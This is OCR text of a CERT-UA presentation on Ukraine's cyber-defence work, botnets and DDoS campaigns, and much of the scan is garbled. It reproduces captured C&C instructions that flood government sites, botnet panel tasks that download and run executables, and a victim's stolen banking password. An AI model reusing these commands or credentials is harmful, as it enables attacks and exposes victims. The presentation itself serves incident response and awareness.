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There are THREE GOV organizations In
Ukraine who fight against cyber threats

State Service

Security Service of Special Communication
of Ukraine and Information protection
(SSU) of Ukraine
LE (SSSCIP)

State Center of Protection
of Information and
Telecommunication
Systems

since 2007

Department of
Counterintelligence Protection
of State's Interests in the Sphere
of Information Security

since 2013

Ministry
of Internal Affairs
of Ukraine
(MIAU)

%‘s&?‘% Kﬂ Lf // f?/

Department
on Combating
Cybercrimes

since 2012




State Center is responsible for:

A\ National System of Confidential
—  Communication (NSCC)
System of Protected Internet Access

(SPIA)

~ Computer Emergency Response Team
— of Ukraine (CERT-UA)

Team consists of 9 officers. Team members are
military men.




CERT-UA In retrospective:

2007 - date of creation
2009 - accredited by FIRST

2012 - member of ITU-IMPACT

2013 - member of APWG
- participated in DBIR 2014

2014 - member of The Honeynet Project
- authorized to use CERT

Accredited two FIRST teams:
CERT.GOV.AZ
CERT-GIB




CERT-UA. Mission

to protect government information resources and
iInformation/telecommunication systems from unauthorized
access, illegal usage and violations of its confidentiality,
integrity and availability;

to provide security of national (Ukrainian) segment of the
Internet

CERT-UA works in 4 sectors: UAGOV
UACOM
FGOV
FCOM




The majority of challenges we
accept are In the list below:

Botnets

DDoS-attacks

Cyber-espionage campaigns
Malware

Unauthorized access (+hacking)
Banking FRAUD

Phishing




m UAGOV
m UACOM
m FCOM
® FGOV




2% 2%

® DDoS

M Unauthorized access
m Phishing

m Malware

M Fraud

M Botnet

WAPT

W Vulnerability

Information leakage

m SPAM



Statistics of Information Security Audits provided
by CERT-UA officers
(2007 - 2014)

1 5 8 11

| 2008 | 2010 | 2012 | 2014

2007 | 2009 | 2011 | 2013 |

4 3 17 4

TOTAL: 53




CERT-UA provides services:

Information Security Audits

(penetration tests)

@ Order of Administration of SSSCIP @
No 112 from 4th July, 2008 =

Cyber threats counteraction

Order of Administration of SSSCIP

Ne 94 from 10th June, 2008

Hey, CERT-UA!

You are getting noticed!

17th May, 2014

CERT-UA is mentioned
In Law of Ukraine on "SSSCIP"

Ne 1194-VII

Paragraph Ne 39

"SSSCIP ensures
the functioning
of CERT-UA..."

6,

years




Threat Monitoring System
(passive mode)

DB contains info about IPs of compromised devices in UA

Int t

ntermne 3,5M IPs
Data origin: sources mentioned above 37M reports

Visualization works for UA GOV entities

GOV IPs gathering process:

- 3 official inquiries on behalf of Prime-Minister of Ukraine
- 5 months for answers and data processing

Finally:

Number of: Quantity

Organizations 1523 0
IP-addresses 3045 0

Compromised Orgs
are compromised

Compromised IPs 586




What we do
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Offensive security

N

Information security audits
Penetration test

Vulnerability scanning
Google-dorking (weekly reports)




Passive threat
monitoring & data
sharing

Shadowserver

Team Cymru (CAP)
Spamhaus

Arbor ATLAS

Microsoft
SpyEye/ZeuS Trackers
Online sevices




Incidents' analysis

- Dynamic malware analysis

- Static malware analysis (reverse-
engineering)

- Forensic analysis



Investigation &
Incidents' handling

- Cooperation with ISPs, LEs,
CERTs

- Blocking threats' sources

- Analysis and drop-data sharing



Research,
Education & PR

- Raise information security
awareness among UA's citizens

- Gaining people's confidence by
talking to the community

- Establishing relationships with
ISPs and Financial institutions

- Extend International cooperation



Threat Monitoring System
(passive mode)
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Data can be easily searched and
exported (CSV-formatted)

CERT-UA officers can use It to
iInform corresponding GOV org.,
thereby stimulating responsible
admins to clean-up the network




Threat Monitoring System
(passive mode)

3anuT: (94.244 161.68 Mowryk

¥ He sapeccTpoeani ¥ Ha signpauwosaxki ¥ BianpausogaHi

PesynbTaTi Nnowyky

30epertu 3BiT OK 0
| timestamp [ ip | asn | port || url | dst_ip ”dst_asn |dstﬁport| inf_source || incident || verdict
| 2013-09-11 06:16:30 || 94.244.161.68 || 34743 | 2784 || | 70.67.61.54 |[ 22773 || 16471 ||  chadowserver3 | [ o
| 2013-09-15 00:02:01 | 94.244.161.68 | 34743 | 1193 | | 184.177.21.49 || 22773 || 16471 || shadowserver_3 | [ o

2013-09-12 00:01:42 | 94.244.161.68 | 34743 | 2784 | | 72.218.133.147 || 22773 || 16471 | shadowserver_3 | | o
2013-09-13 00:02:53 || 94.244.161.68 | 34743 | 2784 | 24.252.202.170 || 22773 | 16471 shadowserver_3 0
[ 2013-09-14 00:01:58 || 94.244.161.68 | 34743 | 1193 | 70.171.104.215 || 22773 | 16471 shadowserver_3 0
2013-09-15 00:02:01 | 94.244.161.68 | 34743 | 1193 | 184.177.21.49 | 22773 || 16471 shadowserver_3 l 0
[ 2013-09-16 00:01:57 || 94.244.161.68 | 34743 | 1101 | | 72.200.7.37 22773 | 16471 | shadowserver_3 | 0
2013-09-17 05:14:16 || 94.244.161.68 | 34743 | 1191 | 209.182.114.36 || 47028 || 16471 shadowsarver_3 | 0
2013-09-18 05:17:02 || 94.244.161.68 | 34743 || 1194 | | 68.234.125.41 || 25830 | 16471 shadowserver_3 0
2013-09-19 01:43:59 || 94.244.161.68 | 34743 | 1191 [ 24.251.213.72 || 22773 || 16471 shadowserver_3 [ o
| 2013-09-20 00:03:41 | 94.244.161.68 | 34743 || 1191 | | 184.190.82.212 || 22773 || 16471 shadowserver_3 | o
| 2013-09-21 00:01:47 |[ 94.244.161.68 | 34743 | 1201 | | 174.69.66.124 |[ 22773 || 16471 ||  shadowserver3z | [ o
| 2013-09-22 00:00:47 || 94.244.161.68 | 34743 | 1101 || | 174.66.15.63 || 22773 || 16471 || botnet_drone_ukraine_geo | I o

exports-94.244.1.._txt 8 # Bce sarpyskm.. X




DDoS Counteraction System
(passive mode)
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DDoS Counteraction System
(passive mode)
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pyucnionwye y cenanl Nepwarual cnf
inpopmalill Yepaluw, oTpumanc iddy
3arpo3 B yKpaiHcbKoMy CErmeHTi

lerancHa 1HPOPMAULA EWOAD 1HUWIEH
flata: @3.06.2014

Jaasrnr: CERT-UA

¥ 23RBHMKE: INCOOQEQe373214
® ticket: -

M CERT-UA: 2014-102

TUN 1HUMAEHTY : hOT-Mepexa
Cybren Inumaexty: GameOver Zous
06" ekt aTaku: kopucTyeauil yepaid|
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185.14.28.135

Type:
| Contains
Value:




 ZeuS botnet cont

~ KINS webinjects ...
- Worm.Vobfus bot...

B Qadars botnet co...

~ experience-thrills...
~ Ice IX botnet cont. ..

. Dofoil botnet cont. .
- Ransomware bot. .

Problems count
B count

. Citadel botnet co...
- Malware botnet c. ..

| Citadel webinject. ..
- Forum/Comment ...

~ KINS botnet cont. .
| Necurs botnet co...
. SpyEye collector
b Spam source
~ Feodo webinjects.
~ Spammer hostin. ..
~ Ice-IX botnet con...
.~ ferret DDoS botn.

- Spambot botnet ...
.~ SpyEye botnetc...
| VMZeus$S webinje. .

- Glupteba botnet ..

~ VMZeusS botnet c..
- Malware DNS ser...
Neurevt botnet c...
. spam origin
- Snowshoe netblo. ..

' Blackhat SEO sp...

30

Citadel botnet controller
count: 46

45

60




IP adresses for each ISP
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TCP SYN-flood

No. ~ Time Source Destination Protocol Length Info

5839 2014-04-04 16:21:21 I8.27. R 212.260.%0 TCP 60 30959 > |http [SYN]| Seq=0 win=128 Len=0
5838 2014-04-04 16:21:21 78. 27 B 212.26.50% TCP 60 30958 > |http [SYN]| Seq=0 Win=128 Len=0
5837 2014-04-04 16:21:21 78.27. . 212_26.509% TCP 60 57193 > |http [SYN]| Seq=0 wWin=128 Len=0
5836 2014-04-04 16:21:21 78.27. . 212.26.5009% TCP 60 58233 > |http [SYN]| Seq=0 win=128 Len=0
5835 2014-04-04 16:21:21 78.27. » 212.26.%% ¥ TCP 60 55310 > |http [SYN]| Seq=0 wWin=128 Len=0
5834 2014-04-04 16:21:21 78.27. . 212.26.5%0 TCP 60 17284 > |http [SYN]| Seq=0 win=128 Len=0
5833 2014-04-04 16:21:21 78.27. R 212.26.00 e TCP 60 30957 >|http [SYN]| Seq=0 wWin=128 Len=0
5832 2014-04-04 16:21:21 78.27. - 212.26.%% & TCP 60 30956 > |http [SYN]| Seq=0 win=128 Len=0
5831 2014-04-04 16:21:21 78.27. n  212.26.40 S TCP 60 30955 >|http [SYN]| Seq=0 Win=128 Len=0
5830 2014-04-04 16:21:21 827 B 212.26.59% & TCP 60 14960 > Win=128 Len=0

5829 2014-04-04

- o 27 =
5828 2014-04-04 16:21:

/ 60 30954 > http Win=128
78.27.

.26.

TCP Win=128
5827 2014-04-04 16:21:21 78.27. ® 212.26.4% ¥ TCP 60 6823 > http [SYN] Seq=0 Win=128 Len=0

< | il

‘@ Frame 5829: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
'@ Ethernet II, Src: AsustekC_e5:3e:78 (20:cf:30:e5:3e:78), Dst: IntelCor_57:4b:34 (00:1b:21:57:4b:34)
:Eu Internet Protocol Version 4, Src: 78.27.% v (78.27.% ), Dst: 212.26.0% o (212.26.5%% )

= 4
Destination port: http (80)
[Stream index: 5828]
Sequence number: 0 (relative sequence number)

Header length: 20 bytes

B
wm!ow s1ze vaiue: E28
[CalcuTlated window size: 128]

m Checksum: 0xcf09 [validation disabled]




Bot - C&C communication

No. Time Source Destination Protocol Length Info

1 2014-04-04 16:46:37 364 POST /clo .php HTTP/1.1
2 2014-04-04 17:06:38 78.27. ' HTTP 364 POST /clo .php HTTP/1.1
3 2014-04-04 17:26:38 78.27. - vl . HTTP 364 POST /clo .php HTTP/1.1

# Ethernet II, Src: AsustekC_e5:3e:78 (20:cf:30:e5:3e:78), Dst: IntelCor_57:4b:34 (00:1b:21:57:4b:34)
@ Internet Protocol Version 4, Src: 78.27.8" e (78.27.0™ 1), Dst: 5 0 0 & 5 e . o
@ Transmission Control Protocol, Src Port: 19504 (19504), Dst Port: http (80), Seq: 1, Ack: 1, Len: 2
=
®
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)\r\n
Host: - \r\n
Accept: */*\r\n
Content-Type: application/x-www-form-urlencoded\r\n
@ Content-Length: 84\r\n

\r\n
[Full request URI: = w . . — . g e

[HTTP request 1/1]
= Line-based text data:

ip=78.27. Rdv=0&mv=3&dpv=1




C&LU S INstructions

POST /new/ HTTP/1.0

Host: kese2.com

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; wOw64; Trident/4.0;
SLCC2; .NET CLR 2.0.831085; .NET CLR 3.5.831085; .NET CLR 3.0.831085
Accept: text/html

Content-Length: 17

Content-Type: application/x-www-form-urlencoded

via: 1.1 ki-fwrout:3128 (squid/2.7.STABLE9)

X-Forwarded-For: 172.16.7.22

Cache-Control: max-age=259200

Connection: keep-alive

k=u431wyaobvut49mHTTP/1.1 200 OK
Server: nginx/0.7.67

Date: Mon, 14 Apr 2014 19:18:32 GMT
Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.4.27

-get http://www.kmu.gov.ua/control/uk -thread 100 -timeout 5500
-post2 http://www.kmu.gov.ua/control/uk -thread 100 -timeout 5500
-get http://www.kmu.gov. ua/contro1/uk/v1deo a11er / a11er 1list

Tmeout 5500

-ge p://wWww. 1SKra n us

-get http://iskra-news. 1nfo/ thread 100 t1meout 5500
-get https://iskra-news.info/index/about_us/0-2 -thread 100 -timeout 5500
-get https://waww.iskra-news.info/index/about_us/0-2 -thread 100 -timeout 5500

Forbidden

You don't have permission to access / on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Tpebyetca ayTeHTUOUKALMA g

Q BeeauTe uMA Nonb3oBaTens M naponb ans http://5.149.250.57

Wma nons3oBatens: |

Mapons:

l OK I l Otmena




babybumred.com
privettebemyfriend.com
supermandarininfo.su
mandarin-infox.su
mandarin-info.com
anonymousua.com
bubsportv.su

Inproductsport.su
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SINGLE FAST-FLUX

.com
QNS-aanuT: DNS-eignosigb:
single-flux.com ns1.single-flux.com
22.22.22.22
DNS-3anuT:
single-flux.com
3
) [1)34 gbméug ggmb: ns1.single-flux.com
HTTP-gsianosiapb: HTTP-3anur: 10.20.30.50 22.22.22.22
200 OK GET /cp.php 10.20.30.60
Host: 10.20.30.50 10.20.30.70
10.20.30.80
10.20.30.90

Peanvna IP-adpeca He
sidoma

single-flux.com




® |

DNS-3anur:
double-flux.com

HTTP-sianosigb:
200 OK

DOUBLE FAST-FLUX

® AN
DNS-BionoBinb:

ns 1.double-flux.com
22.22.22.22
22.22.22.23
22.22.22.24
22.22.22.25

22.22.22.26

r_ﬂu x.com
nsl.double-flux.com
ns2.double-flux.com
ns3_double-flux.com
b flux.com
T d.flux.com
DNS-3anur:

double-flux.com

3a3HauyeHi cepse pu NpusHade Hi 41A 3abe3neye HHA
dyHKUioHyBaHHA NS-cepBepis, AKi, B CBOIO yepry,
sabesneuyoTb dyHrUioHyBaHHA fast-flux NS-cepsepis
(nsl.double-flux.com, ns2.double-flux.com Ta in.)

A

©

HTTP-3anuT:
GET /cp.php
Host: 10.20.30.50

PeaneHa IP-adpeca He
sidoma

double-flux.com

®

DNS-BignoBigb:
10.20.30.40
10.20.30.50
10.20.30.60
10.20.30.70
10.20.30.80
10.20.30.90

@ PeanbHa IP-adpeca He
sidoma

DNS-3anuT:
double-flux.com

23122.2334

DNS-sianosias: ne1 double-flux.com
ﬁ 10.20.30.40 . ’
22222226 10.20.30.50

R 10.20.30.60
10.20.30.70
10.20.30.80
10.20.30.90




Username: |

Password: |

|| Remember (MDS5 caokies)




CP :: Summary statistics

Information:

Current user:
GMT date: 19.05.2014
GMT time: 15:06:51

Statistics:
&

& os
& 0S on bots

Botnet:

0 Bots

O Scripts

2} S0CKS

Modules parser

. Show parser

B Show misc parser
. Show http/https parser
Reports:

B search in database
&) Favorite reports

& Search in files

@ Links

System:

@ Information

#* Options

& User

& Users

Logout

Total reports in database: 39 949 366
. 03.07.2013
FEne of et actuRy: 1927:13
Total bots: 46 234
Total active bots in 24 hours (click for details): O
Bot versions (click for details) 32223370

UA 1899
RU 272
e 40
BG 19
KZ 12
HU 10
BY 9
IN 9
LT 9
(074 8
uz 7




CP :: Scripts

Information:

Current user:
GMT date: 19.05.2014
GMT time: 15:18:25

Statistics:

2 Summary

& os
& OS on bots

Botnet:

& Bots
(mQ Scripts|
2} SOCKS

Modules parser

B show parser
B Show misc parser

B show http/https parser
Reports:
ﬂ Search in database

2y Favorite reports
i Search in files

@ Links

o
]
o
o
(]
]
o
o
o
o
o
W]
o
W]
(]

user destroy
LOCKERS - 3 nokepa + yaanseT dat ¢aiinbl 1 aHTUBHMPYCbL.
ObHosneHne 6OTOB_!
remuver - VNC Xterm
cookies_remove Bots
443 port VNC
. TBT5768F963A3AEA - noyta P® - VNC
S s WDEB1E3AEDB82703 - 5kk sber - VNC - new
VNC - KpynHAKK
Copy of VNC - kpynHaku
o " WWAEOBSECDS9 - VNC
 '3D59E96522DF69 - BC - 100k - VNC
- *"AB304E96B - 350k upp_4 - VNC

ABe Npocnonku

- e

- -_ -

“1DF761117C862BA - Wclient 1kk - VNC

Enabled
Enabled
Enabled
Enabled
Disabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled

02.10.2013 09:46:44
22122013 09:14:40
16.01.2014 19:35:54
07.02.2014 06:39:34
11.02.2014 08:41:44
07.04.2014 10:48:24
07.04.2014 14:29:31
10.04.2014 06:18:37
10.04.2014 06:20:43
10.04.2014 06:52:09
10.04.2014 07:01:16
10.04.2014 07:33:58
10.04.2014 07:41:27
10.04.2014 11:30:24
10.04.2014 11:31:32




KZ

RS
MD
ES
EU
PL
LT
HU
UusS
BY
BG
RU
UA

51
53
93
55
61
66
79
113
162
187
233

i 548
M 1212
BN 3053

m 39879

0

5000
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U o 9E96522DF69 - 1kk ifobs akta - VNC Enabled 14.04.2014 09:35:56

O o 9E96522DF69 - 1kk ifobs akta - teamvier Enabled 14.04.2014 10:47:16
UJ e A6B09BS8F - F&C 120k - teamvier Enabled 14.04.2014 10:47:38
u o W9E96522DF69 - kill Enabled 14.04.2014 12:41:46
O S IBE96522DF69 - 1kk ifobs akta - lock Enabled 14042014 13:12:52
U 2648AB304E96B - Xterm Enabled 14.04.2014 14:58:30
O . \768FABB09BSF - F&C 120k - xterm Enabled 14042014 14.59:14
) Agatas Ddos bot loads Disabled 14.04.2014 18:07:33

. w o 75768FDB0OBD247 - 19kk - Xterm VNC, Teamvier ~ Enabled 15.04.2014 06:06:06




Name: | Agatas Ddos bot loads

Status: | Disabled ¥

Limit of sends: I 0
List of bots: [
Listof botnets: |
List of countries: r
user_execute m-oawa gat/1.exe
user_gxecute hitp: oad/agat/2.exe
Context:

Pages: 112345678910 11 .. 29 [Nex][»]

Bots action: fFuII information

|
Cl 1 14.04201418:07:41 Sended M_B75BA27F7292F68D 3.3.6.0 Sended



- C' | [ supermandarininfo.su/team

SpY Agent




- E—_— —4 F

Mo sozpacTaHuio 3 :

1D bot ID bot IP Bebramepa KommenTapnii Cratyc

A _J
152186673 gook | s7576sFE0DD3911 Online
. T— — - R -
152194583 0 350k bylo 800k - tiny - | K 75768F2B85CB6D Online
- - T
475295769 0 Online

Nel2 769727277 0 Hokr-&c _?E*\(}DADJCAD3 Online !!!

R EEE—— T W - Eas =

o 184679105 0 pn-'dcnnybank -T2 05 163983AAA Online !!!
= T = - - e ST

0 Online

0 1kk Welient - ||| 761117C8628A Online
-

= -

0 Online

—_ -

Online

237002663' Online



| Main | Online hosts | All hosts | Update | Upload | Search | Key Logs | Service | Users | Stat | Error log | Access log | Debug logs | Logout

xTerm Control center v4.1
Wellcome admin




| Main | Online hosts | All hosts | Update | Upload | Search | Kev Logs | Service | Users | Stat |
k2ZhovclX
[Refresh] [Reset user password] [Resend passwords] [RDP-Reinstall] [Install KM] [Upload] [Delete bot record from DB] [Kill Bot][Uninstall]
Niee ..
Set | neling is set to

_ : | Settunnel | | Check | | Unset
C—
Add QE er tags

| set

Set |

= S

10 -

Mick

GID

AlD =1

AID =2

GazData

DOB 2014-04-15 11:00:14

Last se=n 2014-04-15 19:45:43 (3 days ago)

Uptime 3 min

1P Remate/Local I oo

TS State oK

User Zhanna

Locala ru_RU

OS Varsion 215:1:2600:3:0:256:1:32:Sarvice Pack 3 (Win XP SP3)
XT Version 4.3.25TS:2.10 KH: 1.4

Flags 2 (kM oK)

Cmd T:13980924608:46.20.33.211:8080:0; [clear]
Last reply [15.04.2014 08:33:19] BC: Connection to I - 10055; [clsar]
Passwords Zhanna::ZHANNA-NB

Tokens

Commenis

KM

Tags

Status Offline

State NAT, RDP, KM




B 00020247 .

certs

JIBANK — Bl -84
KLog

gscreen_00.jpeg gscreen_0l,jpeg gscreen_02.jpeg gscreen_03.jpeg gscreen_04.jpeg gscreen_05.jpeg gscreen_06.jpeg

gscreen_07.jpeg gscreen_08.jpeg gscreen_09.jpeg gscreen_10.jpeg gscreen_lljpeg gscreen_l12jpeg gscreen_13.jpeg

J) r—

gscreen_l4.jpeg gscreen_15.jpeg keys.dat Mf_6.txt MSc_6.jpeg

Program: C:\Program Files\Java\jreé6\bin\java.exe

Wnd Name: iBank 2 UA | IHTepHeT-BaHkKiHD - Windows Internet Explorer

Server: _: 3131

Password: 4654715

Certificate: F:\HOBI Kimoui E:Kcnpecc\-keys.dat
ClipBuffer:




'iBank 2 UA | lwre preT-bawcim - Windows Internet Explorer
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HERO of the day

Message Specials Mavigation Privacy View %

SO AEASER S BES O

From: "Komnanua “Hadroras YipamHe” " <1396418573@naftogaz. com>
To: o md— = o
Subject: Onnatasaras

& @ ¢ K Fom Subject < Received Created Size

&) « & « e - - R S— rabota.ua - pesiome Ha B... 2 Apr 2014, 12:18 2 Apr 2014, 10:26 73 KB
@ s & - - [ R rabota.ua - pezome Ha B... 2 Apr 2014, 9:47 2 Apr 2014, 9:37 69 KB
@ ° ° - .- — Hoeoe coofweHue Ha ... 2 Apr 2014, 8:45 2 Apr 2014, 8:39 1KB
s @ - - W IAna rnasHoro Gyxrante... 2 Apr 2014, 8:45 2 Apr 2014, 8:27 831 KB
& « ¢ - e - — Fwd: Mpun.K AkTy 2 Apr 2014, 8:45 2 Apr 2014, B:22 46 KB
G « ¢ - S rabota.ua - pesiome Ha B... 2 Apr 2014, 8:22 2 Apr 2014, 8:13 69 KB
oy KoMnaHua "Hadbtoraz YkpauHel Onnara 3a ras 2 Apr 2014, 8:22 2 Apr 2014, 7:55 669 KB
A o & - N - - w rabota,ua - pesome Ha B.., 2 Apr 2014, 8:22 1 Apr 2014, 21:22 284 KB
e & + . e - e - Fwd: AKT BRINONHEHHBN... 2 Apr 2014, 8:22 1 Apr 2014, 20:37 263 KB
9 ¢ G e - - - R , rabota.ua - pesiome Ha B.., 2 Aor 2014, 8:22 1 Aor 2014, 17:34 1|DB KB;
IR All - Information -

HaipioHanmeRHAd arIpMoHepHad KoMmasmMd “Hadroras YrpauHu®

agreementl...
~486 KB




TODO LIST

Trusted relationships with ISPs & Banks
Ukrainian honeynet

Active threat monitoring system
National Cyber-security Center

Cyber-war "is not an island"




THANKS A LOT
FOR YOUR
ATTENTION!

CE RT- UA cert.gov.ua

Nikolay Koval
koval@cert.gov.ua



